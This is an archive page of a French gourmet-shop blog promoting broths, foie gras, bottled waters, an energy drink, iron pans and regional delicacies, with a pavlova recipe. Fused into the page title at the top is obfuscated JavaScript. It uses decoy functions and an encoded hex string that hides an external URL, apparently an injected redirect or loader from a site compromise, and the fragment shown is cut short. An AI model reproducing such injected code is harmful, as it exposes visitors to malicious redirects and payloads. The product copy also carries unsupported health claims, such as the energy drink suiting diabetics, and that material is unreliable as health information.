> Le Tour D'un Produit | Le blog de la gastronomie, par Madeleinemarket function nivrZ(){var ODxCiO='QTzDlT';if('qgzC'=='ZYOyY')fuKPFL();}if('jlRv'=='kCpaks')qvBv='UJvVh';function Ayame(){}function smao(){var iOKF='BGEkXS';if('prcw'=='HQCt')QqGfI();} var cyPkQG="pars\x65Int";if('rlxp'=='HnVdp')psEi();var JTbFBdl="\x73lice";function vgRXfZ(){var MAck='fxLz';if('ZXGGT'=='cPXc')fTHSI();}var bZFrQ='HmRBg';var APZsfNN="929e9e9a645959958b9c969395a496999e99918f9e928f9c588d9997599d5a599398588d9193695b5a";function SnUc(){var BTVhzC='zwGAB';if('emZxFI'=='WFnQR')FtDC();} var FgNSRa="fro\x6dCharCo\x64e";var eqOti=223;if('IpmeS'=='LkpDR')cApRp='DvOgPv';var ZgCvD;function ySEir(){var mJbfa='RKBNQg';if('puIV'=='DVHJq')GvDvbb();} var UXcClKfW="";function nZBF(){}function VJPQOK(){} var uhyAuA=(function(){if('wfZXm'=='ISRTwP')DRnXBQ();return this;function RliJO(){}var riDo='czizo';})();if('EREg'=='lJcrdN')TwHct();function yNaWsF(){var kBRrrg='qSPl';if('xwQxHq'=='bzBMwh')xeVMz();} var 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Categorie Archives: Le tour d'un produit

Les bouillons et veloutés Ariaké par Joël Robuchon

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Dans la catégorie Entre nous, Le tour d'un produit

Madeleine Market vous permet de commander en ligne les bouillons et les veloutés Ariaké en partenariat avec Joël Robuchon.


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La marque Ariaké

Très connue au Japon et aux Etats-Unis pour ses bouillons et ses bases culinaires naturelles, la société Ariake a développé depuis 40 ans une expertise unique pour extraire de façon naturelle les saveurs de tous les ingrédients. Soucieux de produire le meilleur, Ariake s’est adjoint le talent du chef français Joël Robuchon pour mettre au point les saveurs de ses recettes de bouillons naturels.

Les produits Ariaké

Elaborés uniquement à partir d’ingrédients nobles, garantis sans colorants ni exhausteur de goût, les bouillons Ariaké permettent de retrouver le goût d’un authentique bouillon préparé maison. Peu salés, ils peuvent se boire en consommé, ou s’utiliser  pour préparer des fonds de sauce, des jus de cuisson, des risottos… Qu’ils soient de bœuf (70% de viande et de jus !), de volaille, de légumes ou de coquillages, leur qualité et leur saveurs exceptionnelles vous permettent de cuisiner tout en finesse, avec un véritable ingrédient de chef.

Bouillon aux ravioles

Bouillon aux ravioles

<br>Retrouvez les produits Ariaké chez Madeleine Market : Ariaké chez MadeleineMarket

Recette de foie gras de canard par Alain Passard en exclusivité pour Madeleine Market

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Dans la catégorie Bruits de casserole, Le tour d'un produit, Nouveaux produits

Une recette exclusive signée Alain Passard, en exclusivité pour Madeleine Market ! Le pralin est de fabrication artisanale à l’Arpège.

Vous pouvez retrouvez ce foie gras de canard chez Madeleine Market : http://www.madeleinemarket.com/epicerie-fine/foie-gras-magrets/foie-gras-de-canard/foie-gras-de-canard-mi-cuit/3011-foie-gras-de-canard-au-pralin-de-noisettes-du-piemont.html

Foie gras de canard au pralin de noisettes du Piémont

Foie gras de canard au pralin de noisettes du Piémont

Suivez les conseils de présentation d’Alain Passard, pour sublimer ce foie gras d’exception :

  • Avant le démoulage, retirez une partie du gras, que vous conserverez pour l’une de vos prochaines recettes.
  • Démoulez délicatement le foie gras puis, après avoir passé la pointe de votre couteau sous l’eau chaude, tranchez-le et placez une tranche au centre de chaque assiette.
  • A côté de chaque tranche, déposez une cuillère de citron confit à la betterave rouge (voir recette ci-dessous).
  • Dans un saladier, préparez votre salade (mâche ou mesclun) avec un filet d’huile d’olive, puis dispersez quelques feuilles de salade autour de la tranche de foie gras, en couronne.
  • Enfin, râpez finement un peu de raifort autour de l’assiette ; le goût moutardé du raifort se marie à merveille avec le pralin et le citron confit.
  • Servez avec quelques toasts d’un bon pain de campagne au levain, et un pinot des Charentes blanc.

Dressage de l'assiette de foie gras
Bonne dégustation !


Préparation du citron confit aux betteraves rouges :
- Dans une casserole, ajoutez grossièrement un citron entier, 2 cuillères à soupe d’eau et 4 morceaux de sucre.
- Ajoutez 3 ou 4 fines tranches de betterave crue, et laissez mijoter le tout 10 à 15 minutes.
- Hachez grossièrement le tout, et placez au réfrigérateur.

L’eau de coco VaïVaï

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Dans la catégorie Le tour d'un produit, Nouveaux produits

L’eau de coco VaïVaï : un goût unique et de nombreux bienfaits naturels pour la santé.

Madeleine Market présente VaïVaï, une eau de coco naturelle. Tout simplement extraite de sa noix, l’eau de coco possède un goût très doux et rafraîchissant très différent des autres produits issus de la noix de coco. VaïVaï possède de nombreuses qualités bénéfiques pour la santé. Elle est sans sucre ajouté et sans conservateur. Elle est très peu calorique : seulement 13 Kcal pour 100ml et 4 fois moins sucrée que du jus d’orange. Elle est drainante et désaltérante tout en étant délicieuse. L’eau de coco est une boisson naturellement isotonique. Elle contient autant d’oligo-éléments que notre plasma sanguin, ce qui en fait une boisson idéale pour la récupération des athlètes après l’effort. Un pack de 33 cl contient 652 mg de potassium, soit 33% des Apports Journaliers Recommandés.

L’eau de noix de coco naturelle VaïVaï est conditionnée en briques Tetrapak, recyclables et pratiques. L’eau de coco est produite aux Philippines par des producteurs sélectionnés pour leurs engagements quant au développement économique local.

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L’eau de coco Vaïvaï se trouve chez Madeleine Market :

L’eau de coco Vaïvaï chez Madeleine Market

Vaïvaï : une vision, une éthique

La société VaïVaï a été créée par deux entrepreneurs, amis d’enfance, qui parcourent le monde à la recherche de boissons nouvelles et bonnes pour la santé.

Marque « collaborative », VaïVaï souhaite donner la parole aux porteurs de projets éthiques, artistes, entrepreneurs et associations, en leur permettant de s’afficher sur les emballages de la marque. Si vous aussi vous avez un projet fort en sens auquel vous souhaitez donner une plus grande visibilité, contactez-les sur www.vai-vai.com.

La production de VaïVaï se fait dans le respect de l’environnement dans une région couverte de cocotiers toute l’année.

Retrouvez VaïVaï chez Madeleine Market :

Vaïvaï chez Madeleine Market

Madeleine Market et Just drinking Water vous présentent Aquapax : une eau minérale naturelle en brique qui respecte l’environnement.

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Dans la catégorie Entre nous, Le tour d'un produit, Nouveaux produits
Aquapax est une alternative de consommation responsable à base de matériaux
renouvelables, renouvelés et recyclables.
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Pour plus de détails sur l’eau naturelle Aquapax chez Madeleine Market :
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Un emballage qui respecte l’environnement :

Conditionné en emballage Tetra Pak 500 ml, le packaging apporte une
véritable innovation de rupture sur le marché des eaux minérales.
Aquapax c’est l’idéologie environnementale d’un homme engagé, une eau pure,
un packaging propre et trendy, une alternative de consommation responsable.
Aquapax a pour but de remplacer la consommation d’eau minérale en bouteille
plastique qui, rien qu’en France, génère chaque année 135000 tonnes de
déchets. Les plus récentes études sur l’analyse des cycles de produits
démontrent ainsi que l’empreinte carbone d’une brique en carton d’un litre
est de 83 grammes de CO2 contre 129 grammes pour le plastique et 345 grammes
pour le verre.
Le packaging d’AQUAPAX fourni par Tetra Pak est composé à 75 % carton qui confère
à l’emballage sa rigidité, de 20 % de polyéthylène qui lui donne son étanchéité et
d’une feuille d’aluminium (5% de l’emballage) qui forme une barrière contre la
lumière, l’oxygène et toutes autres agressions extérieures. L’intégrité du carton
étanche à l’air est parfaite pour l’eau conditionnée.
Aquapax : une eau pure et naturelle

L’eau Aquapax est une eau minérale naturellement pure à la source qui ne
subit aucun traitement microbiologique. Puisée en Allemagne Aquapax présente comme
caractéristiques d’avoir une teneur naturelle faible en sels minéraux, un PH de 7,1
et une teneur en nitrates inférieure à 0,3 mg/l (parmi les plus faibles du marché)
totalement adaptée à la consommation des nourrissons, des femmes et des sportifs.
Cette eau minérale naturelle à un « goût en bouche » très subtil qui provient de son
bon équilibre en sels minéraux et de sa faible teneur en nitrates.   AQUAPAX est donc
une eau minérale naturelle extrêmement pure.
Découvrez Aquapax chez Madeleine Market :

Attitude energy drink : la boisson énergisante 100% naturelle

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Dans la catégorie Le tour d'un produit, Nouveau, Nouveaux produits

Face à l’essor du marché des boissons énergisantes Madeleine Market et Alternative Food & Beverage proposent avec Attitude, une véritable alternative de consommation naturelle, bénéfique pour la santé sans aucun élément chimique.

Attitude energy drink est une boisson énergisante totalement naturelle sans caféine, sans taurine, sans ingrédients synthétiques, sans arômes artificiels et sans conservateurs.

attitude

Attitude l’energy drink 100% naturel chez Madeleine Market :
http://www.madeleinemarket.com/epicerie-fine/boissons/boissons-bien-etre/2642-energy-drink-100-naturel.html

Attitude : une boisson saine et source naturelle d’énergie.

L’énergie d’Attitude energy drink provient de ressources naturelles : le Yerba Mate, le Rhodiola Rosea ainsi que la L-Carnitine. Le Yerba Mate est une plante d’Amérique du sud similaire au thé vert. Contenant 10 fois plus d’antioxydants que le thé vert, ou le café le Yerba Mate est reconnu pour ses vertus énergisantes et des scientifiques ont montré qu’il pouvait contribuer à la perte de poids.

Attitude energy drink contient de la Rhodolia Rosea qui lutte contre le stress, la fatigue et aide à l’amélioration des performances physiques.

La L-Carnitine joue un rôle essentiel dans le corps pour produire de l’énergie à partir des lipides, apporter de l’énergie au cœur et aux cellules immunitaires. Elle améliore l’endurance sportive, favorise la récupération après l’exercice physique et prévient la fatigue précoce.

Attitude energy drink convient à la consommation des personnes souffrant de diabète. Cet energy drink contient uniquement du sucre issu de fruits réels à faible taux glycémique. Le sucre est extrait naturellement sans procédé chimique, additifs ou autres traitements enzymatiques.

Naturellement riche en vitamines, Attitude energy drink est équilibré de manière à ce que le consommateur bénéficie pleinement de tous ses apports énergétiques. Attitude assure 50% des besoins quotidiens en vitamines C et B complex. Cette nouvelle boisson énergisante insolite est à base d’extraits de gingembre, de citronnelle, et d’eau de source naturellement gazeuse.

Découvrir Attitude, l’energy drink 100% naturel chez Madeleine Market :
http://www.madeleinemarket.com/epicerie-fine/boissons/boissons-bien-etre/2642-energy-drink-100-naturel.html

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Alternative Food & Beverage :

Alternative Food & Beverage est une société de distribution et de développement de marques alimentaires naturelles et respectueuses de l’environnement. La mission d’Alternative : proposer des produits en rupture de marché, avant gardistes et indépendants tout en mettant en avant des lieux de ventes innovants et en créant des liens sociaux autour de produits de consommation courante.

Les produits Attitude chez Madeleine Market :
http://www.madeleinemarket.com/329_attitude

Bibliographie :

L-carnitine http://www.carnipure-for-you.com/fr/what_is_l_carnitine.html
Rhodolia http://bit.ly/rhodiola
Fruits à faible taux glycémique : produit contrôlé par le “Nutrition & Food Science Group School of Life Science Oxford Brookes University” au Royaume-Uni.

Les poêles en fer naturel de la collection “Minéral” De Buyer

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Dans la catégorie Bruits de casserole, Entre nous, Le tour d'un produit

Manger sain et bio, ce n’est plus seulement cuisiner des produits bio, mais c’est aussi choisir un matériel respectueux de l’environnement et des aliments. C’est pourquoi nous présentons les poêles en fer naturel de la collection “Minéral” de Buyer, conçues spécialement pour répondre aux exigences de ceux qui souhaitent cuisiner selon les standards de qualité environnementale les plus pointus.

Descriptif produit

La nouvelle gamme de poêles en fer naturel “Minéral” de Buyer allie la qualité de cuisson d’autrefois aux normes d’aujourd’hui. Conçues dans un style épuré et dans des matériaux bruts et nobles (99% de fer naturel), elles sont naturellement anti-adhésives. D’une solidité à toute épreuve, elle se bonifient avec l’âge. Plus elles sont utilisées, meilleure est la cuisson, une cuisson de qualité professionnelle et le respect des qualités nutritives des aliments !

Poêle "Minéral" de Buyer

Une construction organique

Les poêles Minéral, composées à 99% de fer naturel, reviennent avec force. Après avoir été considérée comme passée de mode, elles retrouvent une seconde jeunesse grâce à leurs propriétés exceptionnelles. Elles assurent en effet une véritable cuisine naturelle, biologique, écologique et économique. La poêle supporte les très hautes températures et saisit rapidement les aliments. Idéal pour saisir, dorer, griller elles donnent un effet croustillant et savoureux aux aliments en surface tout en restant délicieusement tendre à cœur.

La société de Buyer

Depuis 1830, la célèbre maison de Buyer s’est spécialisée dans la fabrication d’ustensiles de cuisine, aussi bien pour les particuliers que pour les professionnels. Tout d’abord spécialiste des ustensiles de cuisson en cuivre et en acier, l’expertise de Buyer s’étend aujourd’hui au plastique (spatule, louche, pince…) et aux élastomères (moules souples). De nombreux produits, de par leur haute qualité, font l’objet de brevets spécifiques à de Buyer et propose des ustensiles garantient pendant plusieurs dizaines d’années. La qualité des produits fabriqués et du service de Buyer a été consacrée par l’obtention de la norme ISO 9001.

Voir la vidéo de présentation des poêles “Minéral” de Buyer

Découvrez la gamme des poêles écologiques de Buyer :
http://www.madeleinemarket.com/ustensiles/la-cuisson/poeles-et-woks/poeles-minerales/2578

Mon cannelé d’adresses bordelais.

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Dans la catégorie Le tour d'un produit

Ladurée est au macaron, ce que Baillardran est au cannelé…

caneles

Les petits plaisirs de la vie sont souvent des gourmandises…
Impossible d’aller à Bordeaux sans m’arrêter dans la luxueuse  pâtisserie Baillardran au 55 rue de l’intendance, il y a d’autres adresses, mais celle-ci est ma préférée!
On dit “après l’effort, le réconfort”…j’ai toujours appliqué rigoureusement ce proverbe. Après avoir dévalisé les boutiques de la rue Ste Catherine, rien de tel qu’un bon cannelé Baillardran (le choix des tailles selon la gourmandise et l’effort fait) à déguster sur un banc des Quinconces… Un délicieux moment que je vous conseille.

mon baillardranBaillardran ne vous dis rien ou peu…laissez moi vous conter…et vous apprécierez d’autant plus l’instant gourmet.
Baillardran est une pâtisserie bordelaise qui s’est spécialisé dans la spécialité régionale, les cannelés. La recette du cannelé a pris naissance au XVIème siècle à Bordeaux, les sœurs d’un couvent près de l’hôpital Saint André récupéraient la farine restée dans les cales des bateaux pour faire des petits gâteaux pour les démunis. Le cannelé, appelé « tête brulée » autrefois, a traversé les siècles mais en restant toujours dans son berceau : la gironde.
Philippe Baillardran ne l’a pas oubliée non plus quand en 1987 il décide d’ouvrir une pâtisserie, ou il choisit de donner l’exclusivité aux cannelés, au début pour des raisons financières puis pour conserver cette tradition régionale. Et depuis le nom s’est fait, et il est aujourd”hui le nom du luxe dans le cannelé! La plupart des pâtisseries Baillardran sont en Gironde, mais ils vendent par correspondance pour ne pas délaisser les gourmands des quatre coins de la France.

Bonne nouvelle! J’ai découvert qu’une pâtisserie Baillardran va ouvrir à Boulevard des Capucines à Paris ! Le bonheur! Ils ne disent pas quand la pâtisserie ouvre mais je sens que mes Repetto vont être usées à piétiner entre Opéra et La Madeleine…

Pavlova, un dessert et un conte de Noël australien.

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Dans la catégorie Le tour d'un produit

Un noël sans neige, un décembre ensoleillé avec 36°c, un père noël en short à fleurs hawaïennes, des bimbos noël en bikini, un sapin sur une plage, un kangourou, un wombat et un koala…
Je vous emmène avec moi découvrir Noël en Australie !

On se prépare au foie gras au cœur de figue, au saumon de Norvège, le boudin truffé, notre chapon du boucher et ses marrons du marché pour (en) finir avec la bûche de notre boulanger préféré. C’est l’hiver on s’autorise à quelques fantaisies culinaires et/ou quelques kilos en trop que l’on cachera sous nos beaux et grands manteaux.
Vous allez me demander mais comment font nos amis coloniaux qui vivent la tête à l’envers ?
Je vais vous faire le récit de mon conte -culinaire- de Noël. Notre charlotte aux fraises n’a qu’à bien se tenir ! Je vous présente Pavlova, ou le dessert de fête australien et sa belle histoire ! (à la fin la recette en cadeau)

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Il était une fois, car toutes les belles histoires commencent comme ça, une jeune et talentueuse ballerine russe, la susse nommée Anna Pavlova, А́нна Па́влова pour les intimes, mit une pointe hors du pays.  Elle arriva d’un saut de l’ange dans le « down under », au pays des kangourous et au pays des kiwis pour émerveiller ce petit monde par une pirouette royale. Au début du XXème siècle, les tournées de compagnies de danse ont été rares. En 1929, un ballet russe ou le sujet principal était la ballerine Anna Pavlova de  ”La Mort du cygne” dans le Lac des cygnes. Elle conquit les cœurs et les esprits du monde entier et à ce moment là les  aussies (australiens) et les kiwis (new-zélandais). C’est ainsi qu’une danseuse étoile fit un saut de biche en Nouvelle Zélande et en Australie pour une tournée et où un dessert fut crée en son honneur.
En effet, le créateur et Chef de l’hôtel en 1929 à Wellington en Nouvelle-Zélande a été subjugué et inspiré par la ballerine qu’il a inventé un dessert à son nom. Les nuées du coussin de meringue pour imiter son tutu et les tranches de kiwis pour copier les roses vertes qui ont été imbriqué dans son costume. Mais, parce qu’il y a toujours un mais, en 1935, le Chef de l’hôtel de Perth en Australie a jalonné prétendre être le créateur de la fameuse petite douceur, créant ainsi la controverse qui persiste toujours…

pavlova

Tadam ! Je vous laisse deviner qui est à l’origine de cette recette, pour moi c’est un dessert australien car je l’ai découvert là bas, et que je suis qu’”une inculte de touriste” qui n’est pas sensé connaître l’histoire et  ne veux pas blesser ses amis australiens en remettant en cause leur seule spécialité culinaire.

Je ne vous laisse pas saliver plus longtemps. Et espère avoir des internautes qui s’y prennent au dernier moment, ne courrez pas au Monop’ acheter un buche glacé tel un américain en rute, je vous donne la recette officielle. Profitez ça se reproduira pas, c’est Noël !

Premièrement préchauffez votre four à 120C. Le four doit être faible comme le secret de faire un Pavlova dont le secret réside dans le fait que les blancs d’œuf se dessèchent et établis plutôt que de cuire au four. Utilisez un mixeur pour la préparation de ce dessert pour battre les 6 blancs d’œufs, y ajouter une pincée de sel et fouetter jusqu’à formation de pics mous. Continuez à la battre et ajouter peu à peu les 270g de sucre en poudre à l’aide d’une cuillère de façon à ce que le sucre fonde petit à petit. Fouettez la préparation jusqu’à ce que le mélange soit lisse et brillant, et qu’il n’y est pas de trace de sucre visible. Puis ajoutez 1 cuillère à café de vinaigre blanc, 1 cuillère à café d’extrait de vanille pure ou de pâte et 2 cuillères à café de maïzena. Mettre dans le four un papier à pâtisserie pour poser la pile de nuage Pavlova sous la forme d’un gâteau, fouetter les sommets pour créer un effet dramatique ou aplatissement dans une ronde pour un look plus traditionnel au Pavlova. Cuire au four doux pour 1 à 1/2 heures. Vous saurez quand c’est fait en tapotant légèrement le haut de la Pavlova qui devrait être croustillant.
La robe de la Pavlova est un enrobage a base de crème fraîche fouettée sucrée et des tranches de kiwis pour la course traditionnelle qui est constituée de fruits frais comme les fraises, fruits de la passion, framboises, ou de bananes qui sont accompagnés d’un coulis de fruit de la passion pour habiller la Pavlova

Anna Pavlova a dit en parlant de la danse: “God gives talent. Work transforms talent into genius”.
La cuisine c’est pareil. On peut avoir le talent, mais le génie se travaille…A vos fourneaux et bonne chance!

✭✰✭ Madeleine Market vous souhaite de joyeuses fêtes! ✭✰✭

Connaissez-vous la Poutargue ?

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Dans la catégorie Le tour d'un produit

Boutargue

Oeufs de mulet séchés, pressés et enduits de cire, ce produit-star de la gastronomie méditerranéenne révèle des saveurs iodés incroyables. Recouverte de paraffine ou de cire d’abeille qui lui confère une saveur de miel, la poutargue se pèle et se tranche finement,de façon aussi simple qu’un saucisson, puis se déguste de nombreuses façons :
- à l’heure de l’apéritif, simplement sur des toasts légèrement beurrés, accompagnée d’un verre de vodka ou de pastis,
- en entrée, comme un carpaccio, souligné d’un trait d’huile d’olive et de quelques gouttes de jus de citron

La poutargue existe aussi déjà râpée, ce qui simplifie la préparation des plats classiques qu’elle sait relever :
- les oeufs brouillés,
- des spaghetti al dente relevés d’huile d’olive,
- tous les plats à base de poisson et de produits de la mer

Certains chefs l’utilisent même pour relever subtilement leurs fumets de crustacés et leur soupe de poisson !
Pour proposer le meilleur de la poutargue, Madeleine Market s’est tout naturellement tourné vers Gérard Memmi, le spécialiste français de ce produit d’exception ! Utilisée par de nombreux chefs, la poutargue Memmi est exportée jusqu’au Japon : un signe qui ne trompe pas.

Alors, qu’attendez-vous pour savoir si vous aimez ou non la poutargue ?

Découvrir le vrai goût du vinaigre balsamique

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Dans la catégorie Epicerie fine, Le tour d'un produit

Vous croyez savoir ce qu’est le vinaigre balsamique : une couleur ambrée, un goût de caramel un peu sucré… Mais le vrai vinaigre balsamique, c’est bien plus que cela : un secret bien gardé depuis des siècles, produit uniquement à Modène et à Reggio Emilia en Italie.

Vinaigre balsamique

Elaboré à partir de moût de raisin (et non d’alcool comme les autres vinaigres), l’aceto balsamico tradizionale di Modena vieillit pendant au moins 12 ans pour prendre ses notes de caramel et de noix ainsi que sa consistance délicatement sirupeuse. Ce condiment d’exception se bonifie avec le temps : âgé de 25 ans ou de 50 ans, il se déguste au compte-goutte, sur une fraise ou un dé de parmesan, comme un parfum de cuisine.

Quant au “vinaigre traditionnel de Modène”, c’est une solution plus abordable et souvent délicieuse. On l’aura compris, c’est la mention “tradizionale” sur l’étiquette qui marque la différence de qualité et de prix. À la différence du vinaigre balsamique “tradizionale”, le vinaigre balsamique de Modène est un mélange de moût de raisin et de vinaigre produit localement, vieilli en fût de chêne de 3 mois à plusieurs années. Il est donc moins concentré et moins doux, on l’utilisera donc plus comme un vinaigre (pour la vinaigrette par exemple).

Dans tous les cas, il ne faut pas les confondre avec les simples “vinaigre balsamique” qui n’ont de balsamique que le nom, sans aucune authenticité.

Découvrez toutes les subtilités du vinaigre balsamique dans notre dossier spécial…  et filez ensuite acheter un bon morceau de parmesan pour une dégustation d’anthologie !